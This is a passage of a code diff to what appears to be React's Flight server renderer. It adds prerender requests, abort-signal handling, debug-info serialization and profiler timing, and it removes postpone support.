+    // stack asynchronously too.
+    ReactSharedInternals.getCurrentStack = getCurrentStackInDEV;
+  }
 
   const abortSet: Set<Task> = new Set();
   const pingedTasks: Array<Task> = [];
@@ -502,16 +680,17 @@ function RequestInstance(
     TaintRegistryPendingRequests.add(cleanupQueue);
   }
   const hints = createHints();
-  this.status = OPEN;
+  this.type = type;
+  this.status = OPENING;
   this.flushScheduled = false;
   this.fatalError = null;
   this.destination = null;
   this.bundlerConfig = bundlerConfig;
   this.cache = new Map();
+  this.cacheController = new AbortController();
   this.nextChunkId = 0;
   this.pendingChunks = 0;
   this.hints = hints;
-  this.abortListeners = new Set();
   this.abortableTasks = abortSet;
   this.pingedTasks = pingedTasks;
   this.completedImportChunks = ([]: Array<Chunk>);
@@ -527,19 +706,76 @@ function RequestInstance(
   this.identifierCount = 1;
   this.taintCleanupQueue = cleanupQueue;
   this.onError = onError === undefined ? defaultErrorHandler : onError;
-  this.onPostpone =
-    onPostpone === undefined ? defaultPostponeHandler : onPostpone;
+  this.onAllReady = onAllReady;
+  this.onFatalError = onFatalError;
 
   if (__DEV__) {
+    this.pendingDebugChunks = 0;
+    this.completedDebugChunks = ([]: Array<Chunk>);
+    this.debugDestination = null;
     this.environmentName =
       environmentName === undefined
         ? () => 'Server'
         : typeof environmentName !== 'function'
-        ? () => environmentName
-        : environmentName;
+          ? () => environmentName
+          : environmentName;
+    this.filterStackFrame =
+      filterStackFrame === undefined
+        ? defaultFilterStackFrame
+        : filterStackFrame;
     this.didWarnForKey = null;
+    this.writtenDebugObjects = new WeakMap();
+    this.deferredDebugObjects = keepDebugAlive
+      ? {
+          retained: new Map(),
+          existing: new Map(),
+        }
+      : null;
+  }
+
+  let timeOrigin: number;
+  if (
+    enableProfilerTimer &&
+    (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+  ) {
+    // We start by serializing the time origin. Any future timestamps will be
+    // emitted relatively to this origin. Instead of using performance.timeOrigin
+    // as this origin, we use the timestamp at the start of the request.
+    // This avoids leaking unnecessary information like how long the server has
+    // been running and allows for more compact representation of each timestamp.
+    // The time origin is stored as an offset in the time space of this environment.
+    if (typeof debugStartTime === 'number') {
+      // We expect `startTime` to be an absolute timestamp, so relativize it to match the other case.
+      timeOrigin = this.timeOrigin =
+        debugStartTime -
+        // $FlowFixMe[prop-missing]
+        performance.timeOrigin;
+    } else {
+      timeOrigin = this.timeOrigin = performance.now();
+    }
+    emitTimeOriginChunk(
+      this,
+      timeOrigin +
+        // $FlowFixMe[prop-missing]
+        performance.timeOrigin,
+    );
+    this.abortTime = -0.0;
+  } else {
+    timeOrigin = 0;
   }
-  const rootTask = createTask(this, model, null, false, abortSet);
+
+  const rootTask = createTask(
+    this,
+    model,
+    null,
+    false,
+    createRootFormatContext(),
+    abortSet,
+    timeOrigin,
+    null,
+    null,
+    null,
+  );
   pingedTasks.push(rootTask);
 }
 
@@ -547,20 +783,65 @@ export function createRequest(
   model: ReactClientValue,
   bundlerConfig: ClientManifest,
   onError: void | ((error: mixed) => ?string),
-  identifierPrefix?: string,
-  onPostpone: void | ((reason: string) => void),
-  environmentName: void | string | (() => string),
+  identifierPrefix: void | string,
   temporaryReferences: void | TemporaryReferenceSet,
+  debugStartTime: void | number, // Profiling-only
+  environmentName: void | string | (() => string), // DEV-only
+  filterStackFrame: void | ((url: string, functionName: string) => boolean), // DEV-only
+  keepDebugAlive: boolean, // DEV-only
 ): Request {
+  if (__DEV__) {
+    resetOwnerStackLimit();
+  }
+
   // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors
   return new RequestInstance(
+    RENDER,
     model,
     bundlerConfig,
     onError,
+    noop,
+    noop,
     identifierPrefix,
-    onPostpone,
+    temporaryReferences,
+    debugStartTime,
     environmentName,
+    filterStackFrame,
+    keepDebugAlive,
+  );
+}
+
+export function createPrerenderRequest(
+  model: ReactClientValue,
+  bundlerConfig: ClientManifest,
+  onAllReady: () => void,
+  onFatalError: () => void,
+  onError: void | ((error: mixed) => ?string),
+  identifierPrefix: void | string,
+  temporaryReferences: void | TemporaryReferenceSet,
+  debugStartTime: void | number, // Profiling-only
+  environmentName: void | string | (() => string), // DEV-only
+  filterStackFrame: void | ((url: string, functionName: string) => boolean), // DEV-only
+  keepDebugAlive: boolean, // DEV-only
+): Request {
+  if (__DEV__) {
+    resetOwnerStackLimit();
+  }
+
+  // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors
+  return new RequestInstance(
+    PRERENDER,
+    model,
+    bundlerConfig,
+    onError,
+    onAllReady,
+    onFatalError,
+    identifierPrefix,
     temporaryReferences,
+    debugStartTime,
+    environmentName,
+    filterStackFrame,
+    keepDebugAlive,
   );
 }
 
@@ -575,6 +856,186 @@ export function resolveRequest(): null | Request {
   return null;
 }
 
+function isTypedArray(value: any): boolean {
+  if (value instanceof ArrayBuffer) {
+    return true;
+  }
+  if (value instanceof Int8Array) {
+    return true;
+  }
+  if (value instanceof Uint8Array) {
+    return true;
+  }
+  if (value instanceof Uint8ClampedArray) {
+    return true;
+  }
+  if (value instanceof Int16Array) {
+    return true;
+  }
+  if (value instanceof Uint16Array) {
+    return true;
+  }
+  if (value instanceof Int32Array) {
+    return true;
+  }
+  if (value instanceof Uint32Array) {
+    return true;
+  }
+  if (value instanceof Float32Array) {
+    return true;
+  }
+  if (value instanceof Float64Array) {
+    return true;
+  }
+  if (value instanceof BigInt64Array) {
+    return true;
+  }
+  if (value instanceof BigUint64Array) {
+    return true;
+  }
+  if (value instanceof DataView) {
+    return true;
+  }
+  return false;
+}
+
+function serializeDebugThenable(
+  request: Request,
+  counter: {objectLimit: number},
+  thenable: Thenable<any>,
+): string {
+  // Like serializeThenable but for renderDebugModel
+  request.pendingDebugChunks++;
+  const id = request.nextChunkId++;
+  const ref = serializePromiseID(id);
+  request.writtenDebugObjects.set(thenable, ref);
+
+  switch (thenable.status) {
+    case 'fulfilled': {
+      emitOutlinedDebugModelChunk(request, id, counter, thenable.value);
+      return ref;
+    }
+    case 'rejected': {
+      const x = thenable.reason;
+      // We don't log these errors since they didn't actually throw into Flight.
+      const digest = '';
+      emitErrorChunk(request, id, digest, x, true, null);
+      return ref;
+    }
+  }
+
+  if (request.status === ABORTING) {
+    // Ensure that we have time to emit the halt chunk if we're sync aborting.
+    emitDebugHaltChunk(request, id);
+    return ref;
+  }
+
+  const deferredDebugObjects = request.deferredDebugObjects;
+  if (deferredDebugObjects !== null) {
+    // For Promises that are not yet resolved, we always defer them. They are async anyway so it's
+    // safe to defer them. This also ensures that we don't eagerly call .then() on a Promise that
+    // otherwise wouldn't have initialized. It also ensures that we don't "handle" a rejection
+    // that otherwise would have triggered unhandled rejection.
+    deferredDebugObjects.retained.set(id, (thenable: any));
+    const deferredRef = '$Y@' + id.toString(16);
+    // We can now refer to the deferred object in the future.
+    request.writtenDebugObjects.set(thenable, deferredRef);
+    return deferredRef;
+  }
+
+  let cancelled = false;
+
+  thenable.then(
+    value => {
+      if (cancelled) {
+        return;
+      }
+      cancelled = true;
+      if (request.status === ABORTING) {
+        emitDebugHaltChunk(request, id);
+        enqueueFlush(request);
+        return;
+      }
+      if (
+        (isArray(value) && value.length > 200) ||
+        (isTypedArray(value) && value.byteLength > 1000)
+      ) {
+        // If this should be deferred, but we don't have a debug channel installed
+        // it would get omitted. We can't omit outlined models but we can avoid
+        // resolving the Promise at all by halting it.
+        emitDebugHaltChunk(request, id);
+        enqueueFlush(request);
+        return;
+      }
+      emitOutlinedDebugModelChunk(request, id, counter, value);
+      enqueueFlush(request);
+    },
+    reason => {
+      if (cancelled) {
+        return;
+      }
+      cancelled = true;
+      if (request.status === ABORTING) {
+        emitDebugHaltChunk(request, id);
+        enqueueFlush(request);
+        return;
+      }
+      // We don't log these errors since they didn't actually throw into Flight.
+      const digest = '';
+      emitErrorChunk(request, id, digest, reason, true, null);
+      enqueueFlush(request);
+    },
+  );
+
+  // We don't use scheduleMicrotask here because it doesn't actually schedule a microtask
+  // in all our configs which is annoying.
+  Promise.resolve().then(() => {
+    // If we don't resolve the Promise within a microtask. Leave it as hanging since we
+    // don't want to block the render forever on a Promise that might never resolve.
+    if (cancelled) {
+      return;
+    }
+    cancelled = true;
+    emitDebugHaltChunk(request, id);
+    enqueueFlush(request);
+    // Clean up the request so we don't leak this forever.
+    request = (null: any);
+    counter = (null: any);
+  });
+
+  return ref;
+}
+
+function emitRequestedDebugThenable(
+  request: Request,
+  id: number,
+  counter: {objectLimit: number},
+  thenable: Thenable<any>,
+): void {
+  thenable.then(
+    value => {
+      if (request.status === ABORTING) {
+        emitDebugHaltChunk(request, id);
+        enqueueFlush(request);
+        return;
+      }
+      emitOutlinedDebugModelChunk(request, id, counter, value);
+      enqueueFlush(request);
+    },
+    reason => {
+      if (request.status === ABORTING) {
+        emitDebugHaltChunk(request, id);
+        enqueueFlush(request);
+        return;
+      }
+      // We don't log these errors since they didn't actually throw into Flight.
+      const digest = '';
+      emitErrorChunk(request, id, digest, reason, true, null);
+      enqueueFlush(request);
+    },
+  );
+}
+
 function serializeThenable(
   request: Request,
   task: Task,
@@ -582,51 +1043,46 @@ function serializeThenable(
 ): number {
   const newTask = createTask(
     request,
-    null,
+    (thenable: any), // will be replaced by the value before we retry. used for debug info.
     task.keyPath, // the server component sequence continues through Promise-as-a-child.
     task.implicitSlot,
+    task.formatContext,
     request.abortableTasks,
+    enableProfilerTimer &&
+      (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+      ? task.time
+      : 0,
+    __DEV__ ? task.debugOwner : null,
+    __DEV__ ? task.debugStack : null,
+    __DEV__ ? task.debugTask : null,
   );
-  if (__DEV__) {
-    // If this came from Flight, forward any debug info into this new row.
-    const debugInfo: ?ReactDebugInfo = (thenable: any)._debugInfo;
-    if (debugInfo) {
-      forwardDebugInfo(request, newTask.id, debugInfo);
-    }
-  }
 
   switch (thenable.status) {
     case 'fulfilled': {
+      forwardDebugInfoFromThenable(request, newTask, thenable, null, null);
       // We have the resolved value, we can go ahead and schedule it for serialization.
       newTask.model = thenable.value;
       pingTask(request, newTask);
       return newTask.id;
     }
     case 'rejected': {
+      forwardDebugInfoFromThenable(request, newTask, thenable, null, null);
       const x = thenable.reason;
-      if (
-        enablePostpone &&
-        typeof x === 'object' &&
-        x !== null &&
-        (x: any).$$typeof === REACT_POSTPONE_TYPE
-      ) {
-        const postponeInstance: Postpone = (x: any);
-        logPostpone(request, postponeInstance.message);
-        emitPostponeChunk(request, newTask.id, postponeInstance);
-      } else {
-        const digest = logRecoverableError(request, x);
-        emitErrorChunk(request, newTask.id, digest, x);
-      }
+      erroredTask(request, newTask, x);
       return newTask.id;
     }
     default: {
       if (request.status === ABORTING) {
         // We can no longer accept any resolved values
-        newTask.status = ABORTED;
-        const errorId: number = (request.fatalError: any);
-        const model = stringify(serializeByValueID(errorId));
-        emitModelChunk(request, newTask.id, model);
         request.abortableTasks.delete(newTask);
+        if (request.type === PRERENDER) {
+          haltTask(newTask, request);
+          finishHaltedTask(newTask, request);
+        } else {
+          const errorId: number = (request.fatalError: any);
+          abortTask(newTask, request, errorId);
+          finishAbortedTask(newTask, request, errorId);
+        }
         return newTask.id;
       }
       if (typeof thenable.status === 'string') {
@@ -659,26 +1115,25 @@ function serializeThenable(
 
   thenable.then(
     value => {
+      forwardDebugInfoFromCurrentContext(request, newTask, thenable);
       newTask.model = value;
       pingTask(request, newTask);
     },
     reason => {
-      if (
-        enablePostpone &&
-        typeof reason === 'object' &&
-        reason !== null &&
-        (reason: any).$$typeof === REACT_POSTPONE_TYPE
-      ) {
-        const postponeInstance: Postpone = (reason: any);
-        logPostpone(request, postponeInstance.message);
-        emitPostponeChunk(request, newTask.id, postponeInstance);
-      } else {
-        newTask.status = ERRORED;
-        const digest = logRecoverableError(request, reason);
-        emitErrorChunk(request, newTask.id, digest, reason);
+      if (newTask.status === PENDING) {
+        if (
+          enableProfilerTimer &&
+          (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+        ) {
+          // If this is async we need to time when this task finishes.
+          newTask.timed = true;
+        }
+        // We expect that the only status it might be otherwise is ABORTED.
+        // When we abort we emit chunks in each pending task slot and don't need
+        // to do so again here.
+        erroredTask(request, newTask, reason);
+        enqueueFlush(request);
       }
-      request.abortableTasks.delete(newTask);
-      enqueueFlush(request);
     },
   );
 
@@ -705,6 +1160,8 @@ function serializeReadableStream(
       supportsBYOB = false;
     }
   }
+  // At this point supportsBYOB is guaranteed to be a boolean.
+  const isByteStream: boolean = supportsBYOB;
 
   const reader = stream.getReader();
 
@@ -714,35 +1171,47 @@ function serializeReadableStream(
     task.model,
     task.keyPath,
     task.implicitSlot,
+    task.formatContext,
     request.abortableTasks,
+    enableProfilerTimer &&
+      (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+      ? task.time
+      : 0,
+    __DEV__ ? task.debugOwner : null,
+    __DEV__ ? task.debugStack : null,
+    __DEV__ ? task.debugTask : null,
   );
-  request.abortableTasks.delete(streamTask);
-
-  request.pendingChunks++; // The task represents the Start row. This adds a Stop row.
 
+  // The task represents the Stop row. This adds a Start row.
+  request.pendingChunks++;
   const startStreamRow =
-    streamTask.id.toString(16) + ':' + (supportsBYOB ? 'r' : 'R') + '\n';
+    streamTask.id.toString(16) + ':' + (isByteStream ? 'r' : 'R') + '\n';
   request.completedRegularChunks.push(stringToChunk(startStreamRow));
 
-  // There's a race condition between when the stream is aborted and when the promise
-  // resolves so we track whether we already aborted it to avoid writing twice.
-  let aborted = false;
   function progress(entry: {done: boolean, value: ReactClientValue, ...}) {
-    if (aborted) {
+    if (streamTask.status !== PENDING) {
       return;
     }
 
     if (entry.done) {
-      request.abortListeners.delete(error);
+      streamTask.status = COMPLETED;
       const endStreamRow = streamTask.id.toString(16) + ':C\n';
       request.completedRegularChunks.push(stringToChunk(endStreamRow));
+      request.abortableTasks.delete(streamTask);
+      request.cacheController.signal.removeEventListener('abort', abortStream);
       enqueueFlush(request);
-      aborted = true;
+      callOnAllReadyIfReady(request);
     } else {
       try {
-        streamTask.model = entry.value;
         request.pendingChunks++;
-        tryStreamTask(request, streamTask);
+        streamTask.model = entry.value;
+        if (isByteStream) {
+          // Chunks of byte streams are always Uint8Array instances.
+          const chunk: Uint8Array = (streamTask.model: any);
+          emitTypedArrayChunk(request, streamTask.id, 'b', chunk, false);
+        } else {
+          tryStreamTask(request, streamTask);
+        }
         enqueueFlush(request);
         reader.read().then(progress, error);
       } catch (x) {
@@ -751,47 +1220,41 @@ function serializeReadableStream(
     }
   }
   function error(reason: mixed) {
-    if (aborted) {
+    if (streamTask.status !== PENDING) {
       return;
     }
-    aborted = true;
-    request.abortListeners.delete(error);
-    if (
-      enablePostpone &&
-      typeof reason === 'object' &&
-      reason !== null &&
-      (reason: any).$$typeof === REACT_POSTPONE_TYPE
-    ) {
-      const postponeInstance: Postpone = (reason: any);
-      logPostpone(request, postponeInstance.message);
-      emitPostponeChunk(request, streamTask.id, postponeInstance);
+    request.cacheController.signal.removeEventListener('abort', abortStream);
+    erroredTask(request, streamTask, reason);
+    enqueueFlush(request);
+
+    // $FlowFixMe should be able to pass mixed
+    reader.cancel(reason).then(error, error);
+  }
+  function abortStream() {
+    if (streamTask.status !== PENDING) {
+      return;
+    }
+    const signal = request.cacheController.signal;
+    signal.removeEventListener('abort', abortStream);
+    const reason = signal.reason;
+    if (request.type === PRERENDER) {
+      request.abortableTasks.delete(streamTask);
+      haltTask(streamTask, request);
+      finishHaltedTask(streamTask, request);
     } else {
-      const digest = logRecoverableError(request, reason);
-      emitErrorChunk(request, streamTask.id, digest, reason);
+      // TODO: Make this use abortTask() instead.
+      erroredTask(request, streamTask, reason);
+      enqueueFlush(request);
     }
-    enqueueFlush(request);
     // $FlowFixMe should be able to pass mixed
     reader.cancel(reason).then(error, error);
   }
-  request.abortListeners.add(error);
+
+  request.cacheController.signal.addEventListener('abort', abortStream);
   reader.read().then(progress, error);
   return serializeByValueID(streamTask.id);
 }
 
-// This indirect exists so we can exclude its stack frame in DEV (and anything below it).
-/** @noinline */
-function callIteratorInDEV(
-  iterator: $AsyncIterator<ReactClientValue, ReactClientValue, void>,
-  progress: (
-    entry:
-      | {done: false, +value: ReactClientValue, ...}
-      | {done: true, +value: ReactClientValue, ...},
-  ) => void,
-  error: (reason: mixed) => void,
-) {
-  iterator.next().then(progress, error);
-}
-
 function serializeAsyncIterable(
   request: Request,
   task: Task,
@@ -810,37 +1273,41 @@ function serializeAsyncIterable(
     task.model,
     task.keyPath,
     task.implicitSlot,
+    task.formatContext,
     request.abortableTasks,
+    enableProfilerTimer &&
+      (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+      ? task.time
+      : 0,
+    __DEV__ ? task.debugOwner : null,
+    __DEV__ ? task.debugStack : null,
+    __DEV__ ? task.debugTask : null,
   );
-  request.abortableTasks.delete(streamTask);
-
-  request.pendingChunks++; // The task represents the Start row. This adds a Stop row.
-
-  const startStreamRow =
-    streamTask.id.toString(16) + ':' + (isIterator ? 'x' : 'X') + '\n';
-  request.completedRegularChunks.push(stringToChunk(startStreamRow));
 
   if (__DEV__) {
     const debugInfo: ?ReactDebugInfo = (iterable: any)._debugInfo;
     if (debugInfo) {
-      forwardDebugInfo(request, streamTask.id, debugInfo);
+      forwardDebugInfo(request, streamTask, debugInfo);
     }
   }
 
-  // There's a race condition between when the stream is aborted and when the promise
-  // resolves so we track whether we already aborted it to avoid writing twice.
-  let aborted = false;
+  // The task represents the Stop row. This adds a Start row.
+  request.pendingChunks++;
+  const startStreamRow =
+    streamTask.id.toString(16) + ':' + (isIterator ? 'x' : 'X') + '\n';
+  request.completedRegularChunks.push(stringToChunk(startStreamRow));
+
   function progress(
     entry:
       | {done: false, +value: ReactClientValue, ...}
       | {done: true, +value: ReactClientValue, ...},
   ) {
-    if (aborted) {
+    if (streamTask.status !== PENDING) {
       return;
     }
 
     if (entry.done) {
-      request.abortListeners.delete(error);
+      streamTask.status = COMPLETED;
       let endStreamRow;
       if (entry.value === undefined) {
         endStreamRow = streamTask.id.toString(16) + ':C\n';
@@ -860,8 +1327,13 @@ function serializeAsyncIterable(
         }
       }
       request.completedRegularChunks.push(stringToChunk(endStreamRow));
+      request.abortableTasks.delete(streamTask);
+      request.cacheController.signal.removeEventListener(
+        'abort',
+        abortIterable,
+      );
       enqueueFlush(request);
-      aborted = true;
+      callOnAllReadyIfReady(request);
     } else {
       try {
         streamTask.model = entry.value;
@@ -880,32 +1352,41 @@ function serializeAsyncIterable(
     }
   }
   function error(reason: mixed) {
-    if (aborted) {
+    if (streamTask.status !== PENDING) {
       return;
     }
-    aborted = true;
-    request.abortListeners.delete(error);
-    if (
-      enablePostpone &&
-      typeof reason === 'object' &&
-      reason !== null &&
-      (reason: any).$$typeof === REACT_POSTPONE_TYPE
-    ) {
-      const postponeInstance: Postpone = (reason: any);
-      logPostpone(request, postponeInstance.message);
-      emitPostponeChunk(request, streamTask.id, postponeInstance);
+    request.cacheController.signal.removeEventListener('abort', abortIterable);
+    erroredTask(request, streamTask, reason);
+    enqueueFlush(request);
+    if (typeof (iterator: any).throw === 'function') {
+      // The iterator protocol doesn't necessarily include this but a generator do.
+      // $FlowFixMe should be able to pass mixed
+      iterator.throw(reason).then(error, error);
+    }
+  }
+  function abortIterable() {
+    if (streamTask.status !== PENDING) {
+      return;
+    }
+    const signal = request.cacheController.signal;
+    signal.removeEventListener('abort', abortIterable);
+    const reason = signal.reason;
+    if (request.type === PRERENDER) {
+      request.abortableTasks.delete(streamTask);
+      haltTask(streamTask, request);
+      finishHaltedTask(streamTask, request);
     } else {
-      const digest = logRecoverableError(request, reason);
-      emitErrorChunk(request, streamTask.id, digest, reason);
+      // TODO: Make this use abortTask() instead.
+      erroredTask(request, streamTask, signal.reason);
+      enqueueFlush(request);
     }
-    enqueueFlush(request);
     if (typeof (iterator: any).throw === 'function') {
       // The iterator protocol doesn't necessarily include this but a generator do.
       // $FlowFixMe should be able to pass mixed
       iterator.throw(reason).then(error, error);
     }
   }
-  request.abortListeners.add(error);
+  request.cacheController.signal.addEventListener('abort', abortIterable);
   if (__DEV__) {
     callIteratorInDEV(iterator, progress, error);
   } else {
@@ -940,13 +1421,21 @@ function readThenable<T>(thenable: Thenable<T>): T {
   throw thenable;
 }
 
-function createLazyWrapperAroundWakeable(wakeable: Wakeable) {
+function createLazyWrapperAroundWakeable(
+  request: Request,
+  task: Task,
+  wakeable: Wakeable,
+) {
   // This is a temporary fork of the `use` implementation until we accept
   // promises everywhere.
   const thenable: Thenable<mixed> = (wakeable: any);
   switch (thenable.status) {
-    case 'fulfilled':
+    case 'fulfilled': {
+      forwardDebugInfoFromThenable(request, task, thenable, null, null);
+      return thenable.value;
+    }
     case 'rejected':
+      forwardDebugInfoFromThenable(request, task, thenable, null, null);
       break;
     default: {
       if (typeof thenable.status === 'string') {
@@ -959,6 +1448,7 @@ function createLazyWrapperAroundWakeable(wakeable: Wakeable) {
       pendingThenable.status = 'pending';
       pendingThenable.then(
         fulfilledValue => {
+          forwardDebugInfoFromCurrentContext(request, task, thenable);
           if (thenable.status === 'pending') {
             const fulfilledThenable: FulfilledThenable<mixed> = (thenable: any);
             fulfilledThenable.status = 'fulfilled';
@@ -966,6 +1456,7 @@ function createLazyWrapperAroundWakeable(wakeable: Wakeable) {
           }
         },
         (error: mixed) => {
+          forwardDebugInfoFromCurrentContext(request, task, thenable);
           if (thenable.status === 'pending') {
             const rejectedThenable: RejectedThenable<mixed> = (thenable: any);
             rejectedThenable.status = 'rejected';
@@ -981,56 +1472,189 @@ function createLazyWrapperAroundWakeable(wakeable: Wakeable) {
     _payload: thenable,
     _init: readThenable,
   };
-  if (__DEV__) {
-    // If this came from React, transfer the debug info.
-    lazyType._debugInfo = (thenable: any)._debugInfo || [];
-  }
   return lazyType;
 }
 
-// This indirect exists so we can exclude its stack frame in DEV (and anything below it).
-/** @noinline */
-function callComponentInDEV<Props, R>(
-  Component: (p: Props, arg: void) => R,
-  props: Props,
-  componentDebugInfo: ReactComponentInfo,
-): R {
-  // The secondArg is always undefined in Server Components since refs error early.
-  const secondArg = undefined;
+function callWithDebugContextInDEV<A, T>(
+  request: Request,
+  task: Task,
+  callback: A => T,
+  arg: A,
+): T {
+  // We don't have a Server Component instance associated with this callback and
+  // the nearest context is likely a Client Component being serialized. We create
+  // a fake owner during this callback so we can get the stack trace from it.
+  // This also gets sent to the client as the owner for the replaying log.
+  const componentDebugInfo: ReactComponentInfo = {
+    name: '',
+    env: task.environmentName,
+    key: null,
+    owner: task.debugOwner,
+  };
+  // $FlowFixMe[cannot-write]
+  componentDebugInfo.stack =
+    task.debugStack === null
+      ? null
+      : filterStackTrace(request, parseStackTrace(task.debugStack, 1));
+  // $FlowFixMe[cannot-write]
+  componentDebugInfo.debugStack = task.debugStack;
+  // $FlowFixMe[cannot-write]
+  componentDebugInfo.debugTask = task.debugTask;
+  const debugTask = task.debugTask;
+  // We don't need the async component storage context here so we only set the
+  // synchronous tracking of owner.
   setCurrentOwner(componentDebugInfo);
   try {
-    if (supportsComponentStorage) {
-      // Run the component in an Async Context that tracks the current owner.
-      return componentStorage.run(
-        componentDebugInfo,
-        Component,
-        props,
-        secondArg,
-      );
-    } else {
-      return Component(props, secondArg);
+    if (debugTask) {
+      return debugTask.run(callback.bind(null, arg));
     }
+    return callback(arg);
   } finally {
     setCurrentOwner(null);
   }
 }
 
-// This indirect exists so we can exclude its stack frame in DEV (and anything below it).
-/** @noinline */
-function callLazyInitInDEV(lazy: LazyComponent<any, any>): any {
-  const payload = lazy._payload;
-  const init = lazy._init;
-  return init(payload);
+const voidHandler = () => {};
+
+function processServerComponentReturnValue(
+  request: Request,
+  task: Task,
+  Component: any,
+  result: any,
+): any {
+  // A Server Component's return value has a few special properties due to being
+  // in the return position of a Component. We convert them here.
+  if (
+    typeof result !== 'object' ||
+    result === null ||
+    isClientReference(result)
+  ) {
+    return result;
+  }
+
+  if (typeof result.then === 'function') {
+    // When the return value is in children position we can resolve it immediately,
+    // to its value without a wrapper if it's synchronously available.
+    const thenable: Thenable<any> = result;
+    if (__DEV__) {
+      // If the thenable resolves to an element, then it was in a static position,
+      // the return value of a Server Component. That doesn't need further validation
+      // of keys. The Server Component itself would have had a key.
+      thenable.then(resolvedValue => {
+        if (
+          typeof resolvedValue === 'object' &&
+          resolvedValue !== null &&
+          resolvedValue.$$typeof === REACT_ELEMENT_TYPE
+        ) {
+          resolvedValue._store.validated = 1;
+        }
+      }, voidHandler);
+    }
+    // TODO: Once we accept Promises as children on the client, we can just return
+    // the thenable here.
+    return createLazyWrapperAroundWakeable(request, task, result);
+  }
+
+  if (__DEV__) {
+    if ((result: any).$$typeof === REACT_ELEMENT_TYPE) {
+      // If the server component renders to an element, then it was in a static position.
+      // That doesn't need further validation of keys. The Server Component itself would
+      // have had a key.
+      (result: any)._store.validated = 1;
+    }
+  }
+
+  // Normally we'd serialize an Iterator/AsyncIterator as a single-shot which is not compatible
+  // to be rendered as a React Child. However, because we have the function to recreate
+  // an iterable from rendering the element again, we can effectively treat it as multi-
+  // shot. Therefore we treat this as an Iterable/AsyncIterable, whether it was one or not, by
+  // adding a wrapper so that this component effectively renders down to an AsyncIterable.
+  const iteratorFn = getIteratorFn(result);
+  if (iteratorFn) {
+    const iterableChild = result;
+    const multiShot = {
+      [Symbol.iterator]: function () {
+        const iterator = iteratorFn.call(iterableChild);
+        if (__DEV__) {
+          // If this was an Iterator but not a GeneratorFunction we warn because
+          // it might have been a mistake. Technically you can make this mistake with
+          // GeneratorFunctions and even single-shot Iterables too but it's extra
+          // tempting to try to return the value from a generator.
+          if (iterator === iterableChild) {
+            const isGeneratorComponent =
+              // $FlowIgnore[method-unbinding]
+              Object.prototype.toString.call(Component) ===
+                '[object GeneratorFunction]' &&
+              // $FlowIgnore[method-unbinding]
+              Object.prototype.toString.call(iterableChild) ===
+                '[object Generator]';
+            if (!isGeneratorComponent) {
+              callWithDebugContextInDEV(request, task, () => {
+                console.error(
+                  'Returning an Iterator from a Server Component is not supported ' +
+                    'since it cannot be looped over more than once. ',
+                );
+              });
+            }
+          }
+        }
+        return (iterator: any);
+      },
+    };
+    if (__DEV__) {
+      (multiShot: any)._debugInfo = iterableChild._debugInfo;
+    }
+    return multiShot;
+  }
+  if (
+    typeof (result: any)[ASYNC_ITERATOR] === 'function' &&
+    (typeof ReadableStream !== 'function' ||
+      !(result instanceof ReadableStream))
+  ) {
+    const iterableChild = result;
+    const multishot = {
+      [ASYNC_ITERATOR]: function () {
+        const iterator = (iterableChild: any)[ASYNC_ITERATOR]();
+        if (__DEV__) {
+          // If this was an AsyncIterator but not an AsyncGeneratorFunction we warn because
+          // it might have been a mistake. Technically you can make this mistake with
+          // AsyncGeneratorFunctions and even single-shot AsyncIterables too but it's extra
+          // tempting to try to return the value from a generator.
+          if (iterator === iterableChild) {
+            const isGeneratorComponent =
+              // $FlowIgnore[method-unbinding]
+              Object.prototype.toString.call(Component) ===
+                '[object AsyncGeneratorFunction]' &&
+              // $FlowIgnore[method-unbinding]
+              Object.prototype.toString.call(iterableChild) ===
+                '[object AsyncGenerator]';
+            if (!isGeneratorComponent) {
+              callWithDebugContextInDEV(request, task, () => {
+                console.error(
+                  'Returning an AsyncIterator from a Server Component is not supported ' +
+                    'since it cannot be looped over more than once. ',
+                );
+              });
+            }
+          }
+        }
+        return iterator;
+      },
+    };
+    if (__DEV__) {
+      (multishot: any)._debugInfo = iterableChild._debugInfo;
+    }
+    return multishot;
+  }
+  return result;
 }
 
 function renderFunctionComponent<Props>(
   request: Request,
   task: Task,
-  key: null | string,
+  key: ReactKey,
   Component: (p: Props, arg: void) => any,
   props: Props,
-  owner: null | ReactComponentInfo, // DEV-only
-  stack: null | string, // DEV-only
   validated: number, // DEV-only
 ): ReactJSONValue {
   // Reset the task's thenable state before continuing, so that if a later
@@ -1043,7 +1667,7 @@ function renderFunctionComponent<Props>(
 
   let componentDebugInfo: ReactComponentInfo;
   if (__DEV__) {
-    if (debugID === null) {
+    if (!canEmitDebugInfo) {
       // We don't have a chunk to assign debug info. We need to outline this
       // component to assign it an ID.
       return outlineTask(request, task);
@@ -1054,36 +1678,87 @@ function renderFunctionComponent<Props>(
       componentDebugInfo = (prevThenableState: any)._componentDebugInfo;
     } else {
       // This is a new component in the same task so we can emit more debug info.
-      const componentDebugID = debugID;
+      const componentDebugID = task.id;
       const componentName =
         (Component: any).displayName || Component.name || '';
-      const componentEnv = request.environmentName();
+      const componentEnv = (0, request.environmentName)();
       request.pendingChunks++;
       componentDebugInfo = ({
         name: componentName,
         env: componentEnv,
-        owner: owner,
+        key: key,
+        owner: task.debugOwner,
       }: ReactComponentInfo);
-      if (enableOwnerStacks) {
-        // $FlowFixMe[cannot-write]
-        componentDebugInfo.stack = stack;
-      }
+      // $FlowFixMe[cannot-write]
+      componentDebugInfo.stack =
+        task.debugStack === null
+          ? null
+          : filterStackTrace(request, parseStackTrace(task.debugStack, 1));
+      // $FlowFixMe[cannot-write]
+      componentDebugInfo.props = props;
+      // $FlowFixMe[cannot-write]
+      componentDebugInfo.debugStack = task.debugStack;
+      // $FlowFixMe[cannot-write]
+      componentDebugInfo.debugTask = task.debugTask;
+
       // We outline this model eagerly so that we can refer to by reference as an owner.
       // If we had a smarter way to dedupe we might not have to do this if there ends up
       // being no references to this as an owner.
-      outlineModel(request, componentDebugInfo);
+
+      outlineComponentInfo(request, componentDebugInfo);
+
+      // Track when we started rendering this component.
+      if (
+        enableProfilerTimer &&
+        (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+      ) {
+        advanceTaskTime(request, task, performance.now());
+      }
+
       emitDebugChunk(request, componentDebugID, componentDebugInfo);
 
